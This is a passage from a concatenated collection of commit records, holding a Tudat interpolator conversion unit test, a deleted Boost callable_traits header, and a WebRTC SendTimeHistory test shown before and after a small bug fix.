upperIterator = cartesianStateMap.begin( );\n std::advance( upperIterator, 2 );\n\n Eigen::Matrix< StateScalarType, 6, 1 > currentStateDerivative;\n while( upperIterator != cartesianStateMap.end( ) )\n {\n if( lowerIterator == cartesianStateMap.begin( ) )\n {\n currentStateDerivative.segment( 0, 3 ) = lowerIterator->second.segment( 3, 3 );\n currentStateDerivative.segment( 3, 3 ) =\n ( upperIterator->second.segment( 3, 3 ) - centralIterator->second.segment( 3, 3 ) ) \/\n ( upperIterator->first - centralIterator->first );\n cartesianStateDerivativeMap.push_back( currentStateDerivative );\n\n }\n\n currentStateDerivative.segment( 0, 3 ) = centralIterator->second.segment( 3, 3 );\n currentStateDerivative.segment( 3, 3 ) =\n ( upperIterator->second.segment( 3, 3 ) - lowerIterator->second.segment( 3, 3 ) ) \/\n ( upperIterator->first - lowerIterator->first );\n cartesianStateDerivativeMap.push_back( currentStateDerivative );\n\n\n lowerIterator++;\n centralIterator++;\n upperIterator++;\n\n if( upperIterator == cartesianStateMap.end( ) )\n {\n currentStateDerivative.segment( 0, 3 ) = upperIterator->second.segment( 3, 3 );\n currentStateDerivative.segment( 3, 3 ) =\n ( centralIterator->second.segment( 3, 3 ) - lowerIterator->second.segment( 3, 3 ) ) \/\n ( centralIterator->first - lowerIterator->first );\n cartesianStateDerivativeMap.push_back( currentStateDerivative );\n\n }\n\n }\n\n return cartesianStateDerivativeMap;\n}\n\nusing namespace interpolators;\n\nBOOST_AUTO_TEST_SUITE( test_interpolator_vector_conversion )\n\nBOOST_AUTO_TEST_CASE( testInterpolatorVectorConversion )\n{\n spice_interface::loadStandardSpiceKernels( );\n\n std::map< double, Eigen::Vector6d > vector6dInterpolatorInput;\n std::map< double, Eigen::VectorXd > vectorXdInterpolatorInput;\n std::map< double, Eigen::MatrixXd > matrixXdInterpolatorInput;\n for( int i = 0; i < 30; i++ )\n {\n double time = static_cast< double >( i ) * 86400.0;\n vector6dInterpolatorInput[ time ] = spice_interface::getBodyCartesianStateAtEpoch(\n \"Moon\", \"Earth\", \"J2000\", \"None\", time );\n vectorXdInterpolatorInput[ time ] = vector6dInterpolatorInput[ time ];\n matrixXdInterpolatorInput[ time ] = vector6dInterpolatorInput[ time ];\n }\n\n std::vector< Eigen::Vector6d > vector6dDerivativeInput =\n computeSecondOrderCentralDifferenceCartesianStateDerivative(\n vector6dInterpolatorInput );\n std::vector< Eigen::VectorXd > vectorXdDerivativeInput;\n std::vector< Eigen::MatrixXd > matrixXdDerivativeInput;\n\n for( unsigned int i = 0; i < vector6dDerivativeInput.size( ); i++ )\n {\n vectorXdDerivativeInput.push_back( vector6dDerivativeInput.at( i ) );\n matrixXdDerivativeInput.push_back( vector6dDerivativeInput.at( i ) );\n\n }\n\n\n std::vector< double > interpolationTimes = { 1.0, 5.0 * 86400.0, 12.43 * 86400.0 };\n\n for( int i = 0; i < 5; i++ )\n {\n std::shared_ptr< InterpolatorSettings > interpolatorSettings;\n switch( i )\n {\n case 0:\n interpolatorSettings =\n std::make_shared< InterpolatorSettings >( linear_interpolator );\n break;\n case 1:\n interpolatorSettings =\n std::make_shared< InterpolatorSettings >( cubic_spline_interpolator );\n break;\n case 2:\n interpolatorSettings =\n std::make_shared< LagrangeInterpolatorSettings >( 8 );\n break;\n case 3:\n interpolatorSettings =\n std::make_shared< InterpolatorSettings >( hermite_spline_interpolator );\n break;\n case 4:\n interpolatorSettings =\n std::make_shared< InterpolatorSettings >( piecewise_constant_interpolator );\n break;\n }\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::Vector6d > > direct6dInterpolator =\n createOneDimensionalInterpolator(\n vector6dInterpolatorInput, interpolatorSettings,\n std::make_pair( IdentityElement::getAdditionIdentity< Eigen::Vector6d >( ),\n IdentityElement::getAdditionIdentity< Eigen::Vector6d >( ) ),\n vector6dDerivativeInput );\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::VectorXd > > directXdInterpolator =\n createOneDimensionalInterpolator(\n vectorXdInterpolatorInput, interpolatorSettings,\n std::make_pair( IdentityElement::getAdditionIdentity< Eigen::VectorXd >( ),\n IdentityElement::getAdditionIdentity< Eigen::VectorXd >( ) ),\n vectorXdDerivativeInput );\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::MatrixXd > > directXdMatrixInterpolator =\n createOneDimensionalInterpolator(\n matrixXdInterpolatorInput, interpolatorSettings,\n std::make_pair( IdentityElement::getAdditionIdentity< Eigen::MatrixXd >( ),\n IdentityElement::getAdditionIdentity< Eigen::MatrixXd >( ) ),\n matrixXdDerivativeInput);\n\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::Vector6d > > converted6dInterpolator =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, -1, 1, 6, 1 >( directXdInterpolator );\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::Vector6d > > converted6dInterpolator2 =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, -1, -1, 6, 1 >( directXdMatrixInterpolator );\n\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::VectorXd > > convertedXdInterpolator =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, 6, 1, -1, 1 >( direct6dInterpolator );\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::VectorXd > > convertedXdInterpolator2 =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, -1, -1, -1, 1 >( directXdMatrixInterpolator );\n\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::MatrixXd > > convertedXdMatrixInterpolator =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, 6, 1, -1, -1 >( direct6dInterpolator );\n std::shared_ptr< OneDimensionalInterpolator< double, Eigen::MatrixXd > > convertedXdMatrixInterpolator2 =\n convertBetweenStaticDynamicEigenTypeInterpolators< double, double, -1, 1, -1, -1 >( directXdInterpolator );\n\n for( unsigned int j = 0; j < interpolationTimes.size( ); j++ )\n {\n std::vector< Eigen::MatrixXd > testMatrices;\n testMatrices.push_back( direct6dInterpolator->interpolate( interpolationTimes.at( j ) ) );\n testMatrices.push_back( directXdInterpolator->interpolate( interpolationTimes.at( j ) ) );\n testMatrices.push_back( directXdMatrixInterpolator->interpolate( interpolationTimes.at( j ) ) );\n\n testMatrices.push_back( converted6dInterpolator->interpolate( interpolationTimes.at( j ) ) );\n testMatrices.push_back( converted6dInterpolator2->interpolate( interpolationTimes.at( j ) ) );\n\n testMatrices.push_back( convertedXdInterpolator->interpolate( interpolationTimes.at( j ) ) );\n testMatrices.push_back( convertedXdInterpolator2->interpolate( interpolationTimes.at( j ) ) );\n\n testMatrices.push_back( convertedXdMatrixInterpolator->interpolate( interpolationTimes.at( j ) ) );\n testMatrices.push_back( convertedXdMatrixInterpolator2->interpolate( interpolationTimes.at( j ) ) );\n\n for( unsigned int k = 1; k < testMatrices.size( ); k++ )\n {\n TUDAT_CHECK_MATRIX_CLOSE_FRACTION(\n ( testMatrices.at( 0 ) ), ( testMatrices.at( k ) ), std::numeric_limits< double >::epsilon( ) );\n }\n\n }\n }\n}\n\nBOOST_AUTO_TEST_SUITE_END( )\n\n} \/\/ namespace unit_tests\n} \/\/ namespace tudat\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n@Copyright Barrett Adair 2015-2017\n\nDistributed under the Boost Software License, Version 1.0.\n(See accompanying file LICENSE.md or copy at http:\/\/boost.org\/LICENSE_1_0.txt)\n\n*\/\n\n#ifndef BOOST_CLBL_TRTS_REMOVE_MEMBER_CV_HPP\n#define BOOST_CLBL_TRTS_REMOVE_MEMBER_CV_HPP\n\n#include <boost\/callable_traits\/detail\/core.hpp>\n\nnamespace boost { namespace callable_traits {\n\n\/\/[ remove_member_cv_hpp\n\/*`\n[section:ref_remove_member_cv remove_member_cv]\n[heading Header]\n``#include <boost\/callable_traits\/remove_member_cv.hpp>``\n[heading Definition]\n*\/\n\ntemplate<typename T>\nusing remove_member_cv_t = \/\/see below\n\/\/<-\n detail::try_but_fail_if_invalid<\n typename detail::traits<T>::remove_member_cv,\n member_qualifiers_are_illegal_for_this_type>;\n\nnamespace detail {\n\n template<typename T, typename = std::false_type>\n struct remove_member_cv_impl {};\n\n template<typename T>\n struct remove_member_cv_impl <T, typename std::is_same<\n remove_member_cv_t<T>, detail::dummy>::type>\n {\n using type = remove_member_cv_t<T>;\n };\n}\n\n\/\/->\n\ntemplate<typename T>\nstruct remove_member_cv : detail::remove_member_cv_impl<T> {};\n\n\/\/<-\n}} \/\/ namespace boost::callable_traits\n\/\/->\n\n\/*`\n[heading Constraints]\n* `T` must be a function type or a member function pointer type\n* If `T` is a pointer, it may not be cv\/ref qualified\n\n[heading Behavior]\n* A substitution failure occurs if the constraints are violated.\n* Removes member `const` and\/or `volatile` qualifiers from `T`, if present.\n\n[heading Input\/Output Examples]\n[table\n [[`T`] [`remove_member_cv_t<T>`]]\n [[`int() const volatile`] [`int()`]]\n [[`int(foo::*)() const volatile`] [`int(foo::*)()`]]\n [[`int(foo::*)() volatile`] [`int(foo::*)()`]]\n [[`int(foo::*)() const`] [`int(foo::*)()`]]\n [[`int(foo::*)() const &`] [`int(foo::*)() &`]]\n [[`int(foo::*)() const &&`] [`int(foo::*)() &&`]]\n [[`int(foo::*)() const`] [`int(foo::*)()`]]\n [[`int`] [(substitution failure)]]\n [[`int (&)()`] [(substitution failure)]]\n [[`int (*)()`] [(substitution failure)]]\n [[`int foo::*`] [(substitution failure)]]\n [[`int (foo::* const)()`] [(substitution failure)]]\n]\n\n[heading Example Program]\n[import ..\/example\/remove_member_cv.cpp]\n[remove_member_cv]\n[endsect]\n*\/\n\/\/]\n\n#endif \/\/ #ifndef BOOST_CLBL_TRTS_REMOVE_MEMBER_CV_HPP\n<commit_msg>Delete remove_member_cv.hpp<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2015 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include <algorithm>\n#include <limits>\n#include <vector>\n\n#include \"webrtc\/modules\/remote_bitrate_estimator\/include\/send_time_history.h\"\n#include \"webrtc\/modules\/rtp_rtcp\/include\/rtp_rtcp_defines.h\"\n#include \"webrtc\/system_wrappers\/include\/clock.h\"\n#include \"webrtc\/test\/gtest.h\"\n\nnamespace webrtc {\nnamespace test {\n\nstatic const int kDefaultHistoryLengthMs = 1000;\n\nclass SendTimeHistoryTest : public ::testing::Test {\n protected:\n SendTimeHistoryTest()\n : clock_(0), history_(&clock_, kDefaultHistoryLengthMs) {}\n ~SendTimeHistoryTest() {}\n\n virtual void SetUp() {}\n\n virtual void TearDown() {}\n\n void AddPacketWithSendTime(uint16_t sequence_number,\n size_t length,\n int64_t send_time_ms,\n const PacedPacketInfo& pacing_info) {\n PacketFeedback packet(clock_.TimeInMilliseconds(), sequence_number, length,\n 0, 0, pacing_info);\n history_.AddAndRemoveOld(packet);\n history_.OnSentPacket(sequence_number, send_time_ms);\n }\n\n webrtc::SimulatedClock clock_;\n SendTimeHistory history_;\n};\n\nTEST_F(SendTimeHistoryTest, SaveAndRestoreNetworkId) {\n const PacedPacketInfo kPacingInfo(0, 5, 1200);\n uint16_t sequence_number = 0;\n int64_t now_ms = clock_.TimeInMilliseconds();\n for (int i = 1; i < 5; ++i) {\n PacketFeedback packet(now_ms, sequence_number++, 1000, i, i - 1,\n kPacingInfo);\n history_.AddAndRemoveOld(packet);\n history_.OnSentPacket(sequence_number, now_ms);\n PacketFeedback restored(now_ms, sequence_number);\n EXPECT_TRUE(history_.GetFeedback(&restored, sequence_number));\n EXPECT_EQ(packet.local_net_id, restored.local_net_id);\n EXPECT_EQ(packet.remote_net_id, restored.remote_net_id);\n }\n}\n\nTEST_F(SendTimeHistoryTest, AddRemoveOne) {\n const uint16_t kSeqNo = 10;\n \/\/ TODO(philipel): Fix PacedPacketInfo constructor?\n const PacedPacketInfo kPacingInfo(0, 5, 1200);\n const PacketFeedback kSentPacket(0, 1, kSeqNo, 1, kPacingInfo);\n AddPacketWithSendTime(kSeqNo, 1, 1, kPacingInfo);\n\n PacketFeedback received_packet(0, 0, kSeqNo, 0, kPacingInfo);\n EXPECT_TRUE(history_.GetFeedback(&received_packet, false));\n EXPECT_EQ(kSentPacket, received_packet);\n\n PacketFeedback received_packet2(0, 0, kSeqNo, 0, kPacingInfo);\n EXPECT_TRUE(history_.GetFeedback(&received_packet2, true));\n EXPECT_EQ(kSentPacket, received_packet2);\n\n PacketFeedback received_packet3(0, 0, kSeqNo, 0, kPacingInfo);\n EXPECT_FALSE(history_.GetFeedback(&received_packet3, true));\n}\n\nTEST_F(SendTimeHistoryTest, PopulatesExpectedFields) {\n const uint16_t kSeqNo = 10;\n const int64_t kSendTime = 1000;\n const int64_t kReceiveTime = 2000;\n const size_t kPayloadSize = 42;\n const PacedPacketInfo kPacingInfo(3, 10, 1212);\n\n AddPacketWithSendTime(kSeqNo, kPayloadSize, kSendTime, kPacingInfo);\n\n PacketFeedback packet_feedback(kReceiveTime, kSeqNo);\n EXPECT_TRUE(history_.GetFeedback(&packet_feedback, true));\n EXPECT_EQ(kReceiveTime, packet_feedback.arrival_time_ms);\n EXPECT_EQ(kSendTime, packet_feedback.send_time_ms);\n EXPECT_EQ(kSeqNo, packet_feedback.sequence_number);\n EXPECT_EQ(kPayloadSize, packet_feedback.payload_size);\n EXPECT_EQ(kPacingInfo, packet_feedback.pacing_info);\n}\n\nTEST_F(SendTimeHistoryTest, AddThenRemoveOutOfOrder) {\n std::vector<PacketFeedback> sent_packets;\n std::vector<PacketFeedback> received_packets;\n const size_t num_items = 100;\n const size_t kPacketSize = 400;\n const size_t kTransmissionTime = 1234;\n const PacedPacketInfo kPacingInfo(1, 2, 200);\n for (size_t i = 0; i < num_items; ++i) {\n sent_packets.push_back(PacketFeedback(0, static_cast<int64_t>(i),\n static_cast<uint16_t>(i), kPacketSize,\n kPacingInfo));\n received_packets.push_back(PacketFeedback(\n static_cast<int64_t>(i) + kTransmissionTime, 0,\n static_cast<uint16_t>(i), kPacketSize, PacedPacketInfo()));\n }\n for (size_t i = 0; i < num_items; ++i) {\n PacketFeedback packet = sent_packets[i];\n packet.arrival_time_ms = -1;\n packet.send_time_ms = -1;\n history_.AddAndRemoveOld(packet);\n }\n for (size_t i = 0; i < num_items; ++i)\n history_.OnSentPacket(sent_packets[i].sequence_number,\n sent_packets[i].send_time_ms);\n std::random_shuffle(received_packets.begin(), received_packets.end());\n for (size_t i = 0; i < num_items; ++i) {\n PacketFeedback packet = received_packets[i];\n EXPECT_TRUE(history_.GetFeedback(&packet, false));\n PacketFeedback sent_packet = sent_packets[packet.sequence_number];\n sent_packet.arrival_time_ms = packet.arrival_time_ms;\n EXPECT_EQ(sent_packet, packet);\n EXPECT_TRUE(history_.GetFeedback(&packet, true));\n }\n for (PacketFeedback packet : sent_packets)\n EXPECT_FALSE(history_.GetFeedback(&packet, false));\n}\n\nTEST_F(SendTimeHistoryTest, HistorySize) {\n const int kItems = kDefaultHistoryLengthMs \/ 100;\n for (int i = 0; i < kItems; ++i) {\n clock_.AdvanceTimeMilliseconds(100);\n AddPacketWithSendTime(i, 0, i * 100, PacedPacketInfo());\n }\n for (int i = 0; i < kItems; ++i) {\n PacketFeedback packet(0, 0, static_cast<uint16_t>(i), 0, PacedPacketInfo());\n EXPECT_TRUE(history_.GetFeedback(&packet, false));\n EXPECT_EQ(i * 100, packet.send_time_ms);\n }\n clock_.AdvanceTimeMilliseconds(101);\n AddPacketWithSendTime(kItems, 0, kItems * 101, PacedPacketInfo());\n PacketFeedback packet(0, 0, 0, 0, PacedPacketInfo());\n EXPECT_FALSE(history_.GetFeedback(&packet, false));\n for (int i = 1; i < (kItems + 1); ++i) {\n PacketFeedback packet2(0, 0, static_cast<uint16_t>(i), 0,\n PacedPacketInfo());\n EXPECT_TRUE(history_.GetFeedback(&packet2, false));\n int64_t expected_time_ms = (i == kItems) ? i * 101 : i * 100;\n EXPECT_EQ(expected_time_ms, packet2.send_time_ms);\n }\n}\n\nTEST_F(SendTimeHistoryTest, HistorySizeWithWraparound) {\n const uint16_t kMaxSeqNo = std::numeric_limits<uint16_t>::max();\n AddPacketWithSendTime(kMaxSeqNo - 2, 0, 0, PacedPacketInfo());\n\n clock_.AdvanceTimeMilliseconds(100);\n AddPacketWithSendTime(kMaxSeqNo - 1, 1, 100, PacedPacketInfo());\n\n clock_.AdvanceTimeMilliseconds(100);\n AddPacketWithSendTime(kMaxSeqNo, 0, 200, PacedPacketInfo());\n\n clock_.AdvanceTimeMilliseconds(kDefaultHistoryLengthMs - 200 + 1);\n AddPacketWithSendTime(0, 0, kDefaultHistoryLengthMs, PacedPacketInfo());\n\n PacketFeedback packet(0, static_cast<uint16_t>(kMaxSeqNo - 2));\n EXPECT_FALSE(history_.GetFeedback(&packet, false));\n PacketFeedback packet2(0, static_cast<uint16_t>(kMaxSeqNo - 1));\n EXPECT_TRUE(history_.GetFeedback(&packet2, false));\n PacketFeedback packet3(0, static_cast<uint16_t>(kMaxSeqNo));\n EXPECT_TRUE(history_.GetFeedback(&packet3, false));\n PacketFeedback packet4(0, 0);\n EXPECT_TRUE(history_.GetFeedback(&packet4, false));\n\n \/\/ Create a gap (kMaxSeqNo - 1) -> 0.\n PacketFeedback packet5(0, kMaxSeqNo);\n EXPECT_TRUE(history_.GetFeedback(&packet5, true));\n\n clock_.AdvanceTimeMilliseconds(100);\n AddPacketWithSendTime(1, 0, 1100, PacedPacketInfo());\n\n PacketFeedback packet6(0, static_cast<uint16_t>(kMaxSeqNo - 2));\n EXPECT_FALSE(history_.GetFeedback(&packet6, false));\n PacketFeedback packet7(0, static_cast<uint16_t>(kMaxSeqNo - 1));\n EXPECT_FALSE(history_.GetFeedback(&packet7, false));\n PacketFeedback packet8(0, kMaxSeqNo);\n EXPECT_FALSE(history_.GetFeedback(&packet8, false));\n PacketFeedback packet9(0, 0);\n EXPECT_TRUE(history_.GetFeedback(&packet9, false));\n PacketFeedback packet10(0, 1);\n EXPECT_TRUE(history_.GetFeedback(&packet10, false));\n}\n\nTEST_F(SendTimeHistoryTest, InterlievedGetAndRemove) {\n const uint16_t kSeqNo = 1;\n const int64_t kTimestamp = 2;\n const PacedPacketInfo kPacingInfo1(1, 1, 100);\n const PacedPacketInfo kPacingInfo2(2, 2, 200);\n const PacedPacketInfo kPacingInfo3(3, 3, 300);\n PacketFeedback packets[3] = {\n {0, kTimestamp, kSeqNo, 0, kPacingInfo1},\n {0, kTimestamp + 1, kSeqNo + 1, 0, kPacingInfo2},\n {0, kTimestamp + 2, kSeqNo + 2, 0, kPacingInfo3}};\n\n AddPacketWithSendTime(packets[0].sequence_number, packets[0].payload_size,\n packets[0].send_time_ms, packets[0].pacing_info);\n AddPacketWithSendTime(packets[1].sequence_number, packets[1].payload_size,\n packets[1].send_time_ms, packets[1].pacing_info);\n PacketFeedback packet(0, 0, packets[0].sequence_number, 0, PacedPacketInfo());\n EXPECT_TRUE(history_.GetFeedback(&packet, true));\n EXPECT_EQ(packets[0], packet);\n\n AddPacketWithSendTime(packets[2].sequence_number, packets[2].payload_size,\n packets[2].send_time_ms, packets[2].pacing_info);\n\n PacketFeedback packet2(0, 0, packets[1].sequence_number, 0, kPacingInfo1);\n EXPECT_TRUE(history_.GetFeedback(&packet2, true));\n EXPECT_EQ(packets[1], packet2);\n\n PacketFeedback packet3(0, 0, packets[2].sequence_number, 0, kPacingInfo2);\n EXPECT_TRUE(history_.GetFeedback(&packet3, true));\n EXPECT_EQ(packets[2], packet3);\n}\n} \/\/ namespace test\n} \/\/ namespace webrtc\n<commit_msg>Fix broken test landed in r17243.<commit_after>\/*\n * Copyright (c) 2015 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include <algorithm>\n#include <limits>\n#include <vector>\n\n#include \"webrtc\/modules\/remote_bitrate_estimator\/include\/send_time_history.h\"\n#include \"webrtc\/modules\/rtp_rtcp\/include\/rtp_rtcp_defines.h\"\n#include \"webrtc\/system_wrappers\/include\/clock.h\"\n#include \"webrtc\/test\/gtest.h\"\n\nnamespace webrtc {\nnamespace test {\n\nstatic const int kDefaultHistoryLengthMs = 1000;\n\nclass SendTimeHistoryTest : public ::testing::Test {\n protected:\n SendTimeHistoryTest()\n : clock_(0), history_(&clock_, kDefaultHistoryLengthMs) {}\n ~SendTimeHistoryTest() {}\n\n virtual void SetUp() {}\n\n virtual void TearDown() {}\n\n void AddPacketWithSendTime(uint16_t sequence_number,\n size_t length,\n int64_t send_time_ms,\n const PacedPacketInfo& pacing_info) {\n PacketFeedback packet(clock_.TimeInMilliseconds(), sequence_number, length,\n 0, 0, pacing_info);\n history_.AddAndRemoveOld(packet);\n history_.OnSentPacket(sequence_number, send_time_ms);\n }\n\n webrtc::SimulatedClock clock_;\n SendTimeHistory history_;\n};\n\nTEST_F(SendTimeHistoryTest, SaveAndRestoreNetworkId) {\n const PacedPacketInfo kPacingInfo(0, 5, 1200);\n uint16_t sequence_number = 0;\n int64_t now_ms = clock_.TimeInMilliseconds();\n for (int i = 1; i < 5; ++i) {\n PacketFeedback packet(now_ms, sequence_number, 1000, i, i - 1,\n kPacingInfo);\n history_.AddAndRemoveOld(packet);\n history_.OnSentPacket(sequence_number, now_ms);\n PacketFeedback restored(now_ms, sequence_number);\n EXPECT_TRUE(history_.GetFeedback(&restored, sequence_number++));\n EXPECT_EQ(packet.local_net_id, restored.local_net_id);\n EXPECT_EQ(packet.remote_net_id, restored.remote_net_id);\n }\n}\n\nTEST_F(SendTimeHistoryTest, AddRemoveOne) {\n const uint16_t kSeqNo = 10;\n \/\/ TODO(philipel): Fix PacedPacketInfo constructor?\n const PacedPacketInfo kPacingInfo(0, 5, 1200);\n const PacketFeedback kSentPacket(0, 1, kSeqNo, 1, kPacingInfo);\n AddPacketWithSendTime(kSeqNo, 1, 1, kPacingInfo);\n\n PacketFeedback received_packet(0, 0, kSeqNo, 0, kPacingInfo);\n EXPECT_TRUE(history_.GetFeedback(&received_packet, false));\n EXPECT_EQ(kSentPacket, received_packet);\n\n PacketFeedback received_packet2(0, 0, kSeqNo, 0, kPacingInfo);\n EXPECT_TRUE(history_.GetFeedback(&received_packet2, true));\n EXPECT_EQ(kSentPacket, received_packet2);\n\n PacketFeedback received_packet3(0, 0, kSeqNo, 0, kPacingInfo);\n EXPECT_FALSE(history_.GetFeedback(&received_packet3, true));\n}\n\nTEST_F(SendTimeHistoryTest, PopulatesExpectedFields) {\n const uint16_t kSeqNo = 10;\n const int64_t kSendTime = 1000;\n const int64_t kReceiveTime = 2000;\n const size_t kPayloadSize = 42;\n const PacedPacketInfo kPacingInfo(3, 10, 1212);\n\n AddPacketWithSendTime(kSeqNo, kPayloadSize, kSendTime, kPacingInfo);\n\n PacketFeedback packet_feedback(kReceiveTime, kSeqNo);\n EXPECT_TRUE(history_.GetFeedback(&packet_feedback, true));\n EXPECT_EQ(kReceiveTime, packet_feedback.arrival_time_ms);\n EXPECT_EQ(kSendTime, packet_feedback.send_time_ms);\n EXPECT_EQ(kSeqNo, packet_feedback.sequence_number);\n EXPECT_EQ(kPayloadSize, packet_feedback.payload_size);\n EXPECT_EQ(kPacingInfo, packet_feedback.pacing_info);\n}\n\nTEST_F(SendTimeHistoryTest, AddThenRemoveOutOfOrder) {\n std::vector<PacketFeedback> sent_packets;\n std::vector<PacketFeedback> received_packets;\n const size_t num_items = 100;\n const size_t kPacketSize = 400;\n const size_t kTransmissionTime = 1234;\n const PacedPacketInfo kPacingInfo(1, 2, 200);\n for (size_t i = 0; i < num_items; ++i) {\n sent_packets.push_back(PacketFeedback(0, static_cast<int64_t>(i),\n static_cast<uint16_t>(i), kPacketSize,\n kPacingInfo));\n received_packets.push_back(PacketFeedback(\n static_cast<int64_t>(i) + kTransmissionTime, 0,\n static_cast<uint16_t>(i), kPacketSize, PacedPacketInfo()));\n }\n for (size_t i = 0; i < num_items; ++i) {\n PacketFeedback packet = sent_packets[i];\n packet.arrival_time_ms = -1;\n packet.send_time_ms = -1;\n history_.AddAndRemoveOld(packet);\n }\n for (size_t i = 0; i < num_items; ++i)\n history_.OnSentPacket(sent_packets[i].sequence_number,\n sent_packets[i].send_time_ms);\n std::random_shuffle(received_packets.begin(), received_packets.end());\n for (size_t i = 0; i < num_items; ++i) {\n PacketFeedback packet = received_packets[i];\n EXPECT_TRUE(history_.GetFeedback(&packet, false));\n PacketFeedback sent_packet = sent_packets[packet.sequence_number];\n sent_packet.arrival_time_ms = packet.arrival_time_ms;\n EXPECT_EQ(sent_packet, packet);\n EXPECT_TRUE(history_.GetFeedback(&packet, true));\n }\n for (PacketFeedback packet : sent_packets)\n EXPECT_FALSE(history_.GetFeedback(&packet, false));\n}\n\nTEST_F(SendTimeHistoryTest, HistorySize) {\n const int kItems = kDefaultHistoryLengthMs \/ 100;\n for (int i = 0; i < kItems; ++i) {\n clock_.AdvanceTimeMilliseconds(100);\n AddPacketWithSendTime(i, 0, i * 100, PacedPacketInfo());\n }\n for (int i = 0; i < kItems; ++i) {\n PacketFeedback packet(0, 0, static_cast<uint16_t>(i), 0, PacedPacketInfo());\n EXPECT_TRUE(history_.GetFeedback(&packet, false));\n EXPECT_EQ(i * 100, packet.send_time_ms);\n }\n clock_.AdvanceTimeMilliseconds(101);\n AddPacketWithSendTime(kItems, 0, kItems * 101, PacedPacketInfo());\n PacketFeedback packet(0, 0, 0, 0, PacedPacketInfo());\n EXPECT_FALSE(history_.GetFeedback(&packet, false));\n for (int i = 1; i < (kItems + 1); ++i) {\n PacketFeedback packet2(0, 0, static_cast<uint16_t>(i), 0,\n PacedPacketInfo());\n EXPECT_TRUE(history_.GetFeedback(&packet2, false));\n int64_t expected_time_ms = (i == kItems) ? i * 101 : i * 100;\n EXPECT_EQ(expected_time_ms, packet2.send_time_ms);\n }\n}\n\nTEST_F(SendTimeHistoryTest, HistorySizeWithWraparound) {\n const uint16_t kMaxSeqNo = std::numeric_limits<uint16_t>::max();\n AddPacketWithSendTime(kMaxSeqNo - 2, 0, 0, PacedPacketInfo());\n\n clock_.AdvanceTimeMilliseconds(100);\n AddPacketWithSendTime(kMaxSeqNo - 1, 1, 100, PacedPacketInfo());\n\n clock_.AdvanceTimeMilliseconds(100);\n AddPacketWithSendTime(kMaxSeqNo, 0, 200, PacedPacketInfo());\n\n clock_.AdvanceTimeMilliseconds(kDefaultHistoryLengthMs - 200 + 1);\n AddPacketWithSendTime(0, 0, kDefaultHistoryLengthMs, PacedPacketInfo());\n\n PacketFeedback packet(0, static_cast<uint16_t>(kMaxSeqNo - 2));\n EXPECT_FALSE(history_.GetFeedback(&packet, false));\n PacketFeedback packet2(0, static_cast<uint16_t>(kMaxSeqNo - 1));\n EXPECT_TRUE(history_.GetFeedback(&packet2, false));\n PacketFeedback packet3(0, static_cast<uint16_t>(kMaxSeqNo));\n EXPECT_TRUE(history_.GetFeedback(&packet3, false));\n PacketFeedback packet4(0, 0);\n EXPECT_TRUE(history_.GetFeedback(&packet4, false));\n\n \/\/ Create a gap (kMaxSeqNo - 1) -> 0.\n PacketFeedback packet5(0, kMaxSeqNo);\n EXPECT_TRUE(history_.GetFeedback(&packet5, true));\n\n clock_.AdvanceTimeMilliseconds(100);\n AddPacketWithSendTime(1, 0, 1100, PacedPacketInfo());\n\n PacketFeedback packet6(0, static_cast<uint16_t>(kMaxSeqNo - 2));\n EXPECT_FALSE(history_.GetFeedback(&packet6, false));\n PacketFeedback packet7(0, static_cast<uint16_t>(kMaxSeqNo - 1));\n EXPECT_FALSE(history_.GetFeedback(&packet7, false));\n PacketFeedback packet8(0, kMaxSeqNo);\n EXPECT_FALSE(history_.GetFeedback(&packet8, false));\n PacketFeedback packet9(0, 0);\n EXPECT_TRUE(history_.GetFeedback(&packet9, false));\n PacketFeedback packet10(0, 1);\n EXPECT_TRUE(history_.GetFeedback(&packet10, false));\n}\n\nTEST_F(SendTimeHistoryTest, InterlievedGetAndRemove) {\n const uint16_t kSeqNo = 1;\n const int64_t kTimestamp = 2;\n const PacedPacketInfo kPacingInfo1(1, 1, 100);\n const PacedPacketInfo kPacingInfo2(2, 2, 200);\n const PacedPacketInfo kPacingInfo3(3, 3, 300);\n PacketFeedback packets[3] = {\n {0, kTimestamp, kSeqNo, 0, kPacingInfo1},\n {0, kTimestamp + 1, kSeqNo + 1, 0, kPacingInfo2},\n {0, kTimestamp + 2, kSeqNo + 2, 0, kPacingInfo3}};\n\n AddPacketWithSendTime(packets[0].sequence_number, packets[0].payload_size,\n packets[0].send_time_ms, packets[0].pacing_info);\n AddPacketWithSendTime(packets[1].sequence_number, packets[1].payload_size,\n packets[1].send_time_ms, packets[1].pacing_info);\n PacketFeedback packet(0, 0, packets[0].sequence_number, 0, PacedPacketInfo());\n EXPECT_TRUE(history_.GetFeedback(&packet, true));\n EXPECT_EQ(packets[0], packet);\n\n AddPacketWithSendTime(packets[2].sequence_number, packets[2].payload_size,\n packets[2].send_time_ms, packets[2].pacing_info);\n\n PacketFeedback packet2(0, 0, packets[1].sequence_number, 0, kPacingInfo1);\n EXPECT_TRUE(history_.GetFeedback(&packet2, true));\n EXPECT_EQ(packets[1], packet2);\n\n PacketFeedback packet3(0, 0, packets[2].sequence_number, 0, kPacingInfo2);\n EXPECT_TRUE(history_.GetFeedback(&packet3, true));\n EXPECT_EQ(packets[2], packet3);\n}\n} \/\/ 